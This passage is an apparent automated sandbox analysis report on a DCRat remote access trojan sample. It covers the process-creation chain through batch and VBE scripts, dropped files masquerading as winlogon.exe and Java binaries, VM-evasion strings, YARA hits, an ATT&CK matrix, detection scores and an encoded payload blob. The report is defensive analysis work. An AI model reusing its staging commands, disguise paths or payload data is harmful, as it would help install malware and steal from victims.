7HSrJUvwBE9En7aK+bSA5zNp2Amgn5wCThZmEpfmjbXBHMp0aRK28iiPpNOJQqxwU/WxDKgXqcWSx9B0JfII3QPZhGLEdiTX4Z8MMV0Y8Fr80PXLx6lXR1RBT+NNLh1b2N+3a2Lq1tXekf+2y5hFqEu/PNSnucmB+yeEkmOquRGs6HR39hI9yV9majg5tGyWLorkGutqY27hRQA2HRqk9XIExmKMsNdTTdslIFGcvw83b49BKpNsGhgBOjS2Mxc5RNhbsiyZCTX2NviatuckXivc2+cKhxl4fhEDNzeFYMKE1NI+zseZotDnWEOz1JeJ9MV+osTHoC/f1Nfvi4MJRLRhoaAyHQQyiqVioLwpivf6ELxTo1Xzh5t64ry/WCLNfzJ9I9EXHKbQs2sESdBaaZCk2yFi0E+h+uGMQNydYHGLIGKQMsCGQgik4K+mGPVI/2wp4GjjDbBvIuAHLAMQz1mF4ZtgI5BsiGa6tHkL0jZB+MclcSnpWQkqUzmrTsDkNMGYO4xuw1WPADcFeIgawj050fSDTy/wAfZTSyzTAwqwZsDhgfSDbqGuLkVyCco7T+6SCO/du+dPbpzo+XzU8kLzFV8yUH+/afF5F6MhuCbYH8gxHtVhYaJ7hWC8UyjPsk1/FB/CUQtiNCFX4Q0XRDMDuQ7RQZlIhXDITHI2OBRC5O8IWt1RYbVYUMxOqzZgL1DERlAKKWpijFRQ42gqhPBvybJBDwRyoUSHlozJAx+QV8BDtk5+HR4lQwiADqGLARyF8nYC0UA0FuEE/FgPQBmkzHJM3goDVzagJJfizfMovWqCmG+2Tt4JKgAqwsFhJIfpORYHkyXsAgwyOjTYmOib/1bHRMfld2c2qHZP/JsqF+W6zUOjYWA3sjdAVUJ2fmWT75JNYZXjgp6DwUKz8CVkt0FrUApUUqqqsbgEU3W+ffNrKREg4ZJ/8M1d+HMq0zyKNxwumCpk8LvI834U8+cyMeRS8FSyqhJUIilt0RKvN1WboAAUutyiWsGLkS8hVoHGSUFhVKIN8tVm06IMsyY7SArcJylldyDkKdR2MPFaeEBHPUSTZPkuSqyW0ABxWQW9LOfRcIRQnOboVx4VVMCiFjm78daFjs8LlIlZmUhTHZqgEYFC4I4IpImSDdMURsUCNHVscERn7IgJCEm+JqDAJ8gGL5PpJD2hxdEEO0RGnHJBfARLVbiGxzWhtChrjFkdcRvurNmNOR0Q3SNERARGZo11U6GaFHgp0h12DVpotur2LcpUoi6KsQMIq2pOa0H9MuA010V+kk6shzRGBezPccbi3oGFC7WUrJMqibIa8O9E6JgEZRuRzgFxmkh2T16C1VyF2PXWmiOg+HKIq8C3AbyZ2IaL7YQDRzRC/HeyMfA3wO9BKw4jdrbhNhVXkREB9B6qBvgfofThGhD0A+kSOPghMhbCfoIZWxB6Doh1tvLxfQrqN6vYEStoQ+w2UoGRLOKAI+l+2rMHXs12i83xYKNbkhDsQYsKEL4BcP8kBcsqlI1UmHVluJC0hxGIBf7vCMe7AMQDrKyysLlT4JDTbkl8koENM3g//C8EbwKckdEnyk
Source: SurrogatewebSession.exe, 00000008.00000002.1740551544.000000001C098000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: winlogon.exe, 0000002B.00000002.1920928319.0000000012522000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: gp6DwUKz8CVkt0FrUApUUqqqsbgEU3W+ffNrKREg4ZJ/8M1d+HMq0zyKNxwumCpk8LvI834U8+cyMeRS8FSyqhJUIilt0RKvN1WboAAUutyiWsGLkS8hVoHGSUFhVKIN8tVm06IMsyY7SArcJylldyDkKdR2MPFaeEBHPUSTZPkuSqyW0ABxWQW9LOfRcIRQnOboVx4VVMCiFjm78daFjs8LlIlZmUhTHZqgEYFC4I4IpImSDdMURsUCNHVscERn7IgJCEm+JqDAJ8gGL5PpJD2hxdEEO0RGnHJBfARLVbiGxzWhtChrjFkdcRvurNmNOR0Q3SNERARGZo11U6GaFHgp0h12DVpotur2LcpUoi6KsQMIq2pOa0H9MuA010V+kk6shzRGBezPccbi3oGFC7WUrJMqibIa8O9E6JgEZRuRzgFxmkh2T16C1VyF2PXWmiOg+HKIq8C3AbyZ2IaL7YQDRzRC/HeyMfA3wO9BKw4jdrbhNhVXkREB9B6qBvgfofThGhD0A+kSOPghMhbCfoIZWxB6Doh1tvLxfQrqN6vYEStoQ+w2UoGRLOKAI+l+2rMHXs12i83xYKNbkhDsQYsKEL4BcP8kBcsqlI1UmHVluJC0hxGIBf7vCMe7AMQDrKyysLlT4JDTbkl8koENM3g//C8EbwKckdEnykUfAC8stliJBF+CcahL7rtkigVeYLEKRIFkEBe4q2SIVCeBBWOCHjqjFYgIS2obsaqVagSxV0FcW6MYSixVK7oeW21ehQYG1Rc0WEeRlyL3AscBqkRU0zsJCi0VytAEGySDO2GRm6iTjNuNvl37KdX3mdE7PslR6eT/sJyEQpf10IlEf7+c9eaqWuZd8uqL/loufHZXrf2U1l4/27/8UPl74IiYCKY8JUymPCfii6jzWyXoAttHbyna2lq0Bup2+ZFhLco+Y3j7J9QjTdC7WKTSX0/8sq5tEOmFFxZV3ENbgFfDENbsdqD6Gf1zgnyTpz/4LsaX0O4sq0CawZbSiD0COQdBiDMHcnLQhPM1lo1DTKMkZl5dkVgFnK63/XVAHvnYPwDMN6/rUgHJ964CbAokRiihO1+f5FJnzpkckOeW2UvyBZfVC2aNgVJ8my13rPKrPJ3sG64W9yms+CHn74Tk8TcN9uQdx/3v9/3wN8W+G7mv4n67I/17/E9f/AW/nhxgAXAAA","35d8f50be9ce23718b03ad282906cdb3fa75f62d"]]
Source: work.exe, 00000003.00000003.1630533570.0000000002D5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: work.exe, 00000003.00000002.1631802705.0000000002CCB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD00#4&224f42ef&0&0@
Source: wscript.exe, 00000005.00000002.1664665110.0000000002D6B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef
Source: SurrogatewebSession.exe, 00000008.00000002.1740585685.000000001C0B9000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 00000027.00000002.1785246422.000001FA32E09000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	API call chain: ExitProcess graph end node	graph_0-24539
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	API call chain: ExitProcess graph end node	graph_3-24395
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	API call chain: ExitProcess graph end node	graph_4-24904

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Code function: 0_2_00A40A0A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00A40A0A

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A491B0 mov eax, dword ptr fs:[00000030h]	0_2_00A491B0
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_003391B0 mov eax, dword ptr fs:[00000030h]	3_2_003391B0
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_00747DEE mov eax, dword ptr fs:[00000030h]	4_2_00747DEE

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Code function: 0_2_00A4D1F0 GetProcessHeap,

0_2_00A4D1F0

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process token adjusted: Debug
Source: C:\Recovery\winlogon.exe	Process token adjusted: Debug
Source: C:\Recovery\winlogon.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A40A0A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00A40A0A
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A40B9D SetUnhandledExceptionFilter,	0_2_00A40B9D
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A40D8A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00A40D8A
Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: 0_2_00A44FEF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00A44FEF
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00330A0A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00330A0A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00330B9D SetUnhandledExceptionFilter,	3_2_00330B9D
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00330D8A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00330D8A
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: 3_2_00334FEF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00334FEF
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0073F838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0073F838
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0073F9D5 SetUnhandledExceptionFilter,	4_2_0073F9D5
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_0073FBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0073FBCA
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: 4_2_00748EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_00748EBD

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, Class73.cs	Reference to suspicious API methods: A86.VirtualProtect(intPtr, (UIntPtr)(ulong)num, A86.OkN.flag_2, out var okN_)
Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, Class74.cs	Reference to suspicious API methods: A86.GetProcAddress(A86.GetModuleHandle(string_0), string_1)
Source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, AFA.cs	Reference to suspicious API methods: A86.VirtualAlloc(intPtr3, (IntPtr)uint_0, A86.U14.flag_0 \| A86.U14.flag_1, A86.OkN.flag_2)

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\1.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe work.exe -priverdD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe "C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\msBroker\2lT5LH2HofMC1aCPgzVrsLj8Fs1JHh.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe "C:\Users\user\AppData\Roaming\msBroker/SurrogatewebSession.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jz2mm1cv\jz2mm1cv.cmdline"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NZDl7DWO67.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41D7.tmp" "c:\Windows\System32\CSCD00016AF5F994D2B979CA07EFAA630F3.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe "C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe"
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Code function: 0_2_00A3BEFF SetEntriesInAclW,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateDirectoryW,LocalFree,

0_2_00A3BEFF

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Code function: 0_2_00A40826 cpuid

0_2_00A40826

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	0_2_00A3C093
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	3_2_0032C093
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	4_2_0073AF0F

Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Queries volume information: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Queries volume information: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe VolumeInformation
Source: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	Queries volume information: C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Queries volume information: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Queries volume information: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe VolumeInformation
Source: C:\Recovery\winlogon.exe	Queries volume information: C:\Recovery\winlogon.exe VolumeInformation
Source: C:\Recovery\winlogon.exe	Queries volume information: C:\Recovery\winlogon.exe VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	Queries volume information: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe VolumeInformation
Source: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	Queries volume information: C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe VolumeInformation
Source: C:\Recovery\winlogon.exe	Queries volume information: C:\Recovery\winlogon.exe VolumeInformation
Source: C:\Recovery\winlogon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Code function: 0_2_00A3F05C GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_00A3F05C

Source: C:\Users\user\Desktop\H9gMIu2HXi.exe

Code function: 0_2_00A2C365 GetVersionExW,

0_2_00A2C365

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 8.0.SurrogatewebSession.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.dwartg.exe.70006d6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.dwartg.exe.70006d6.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.dwartg.exe.66f46d6.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1663208372.0000000000BC2000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1624273489.0000000006FB2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1624823463.0000000004F0D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1623801206.00000000066A6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1620690565.0000000004F96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: work.exe PID: 7588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dwartg.exe PID: 7628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SurrogatewebSession.exe PID: 7784, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\winlogon.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 8.0.SurrogatewebSession.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.dwartg.exe.66f46d6.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.dwartg.exe.70006d6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.dwartg.exe.70006d6.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.dwartg.exe.66f46d6.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1663208372.0000000000BC2000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1624273489.0000000006FB2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1624823463.0000000004F0D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1623801206.00000000066A6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1620690565.0000000004F96000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: work.exe PID: 7588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dwartg.exe PID: 7628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SurrogatewebSession.exe PID: 7784, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe, type: DROPPED
Source: Yara match	File source: C:\Recovery\winlogon.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	11 Windows Management Instrumentation	11 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	1 DLL Side-Loading	11 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	21 Obfuscated Files or Information	Security Account Manager	37 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	121 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
H9gMIu2HXi.exe	61%	Virustotal		Browse
H9gMIu2HXi.exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\Desktop\BudDliLc.log	100%	Avira	HEUR/AGEN.1300079
C:\Users\user\Desktop\LdxTVLQK.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\AppData\Roaming\msBroker\xIIr5uE.vbe	100%	Avira	VBS/Runner.VPG
C:\Users\user\Desktop\MFrsFgjH.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	100%	Avira	VBS/Runner.VPG
C:\Users\user\AppData\Local\Temp\NZDl7DWO67.bat	100%	Avira	BAT/Runner.IL
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	100%	Avira	HEUR/AGEN.1309961
C:\Recovery\winlogon.exe	100%	Avira	HEUR/AGEN.1309961
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	100%	Avira	HEUR/AGEN.1309961
C:\Users\user\Desktop\vybNluDs.log	100%	Avira	HEUR/AGEN.1300079
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	100%	Joe Sandbox ML
C:\Windows\System32\SecurityHealthSystray.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\tRVOBpwv.log	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\tnEMlbYs.log	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\RarSFX1\dwartg.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\aEtIhTbg.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	100%	Joe Sandbox ML
C:\Recovery\winlogon.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\TDfrhvdw.log	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Recovery\winlogon.exe	70%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	14%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RarSFX0\work.exe	20%	Virustotal		Browse
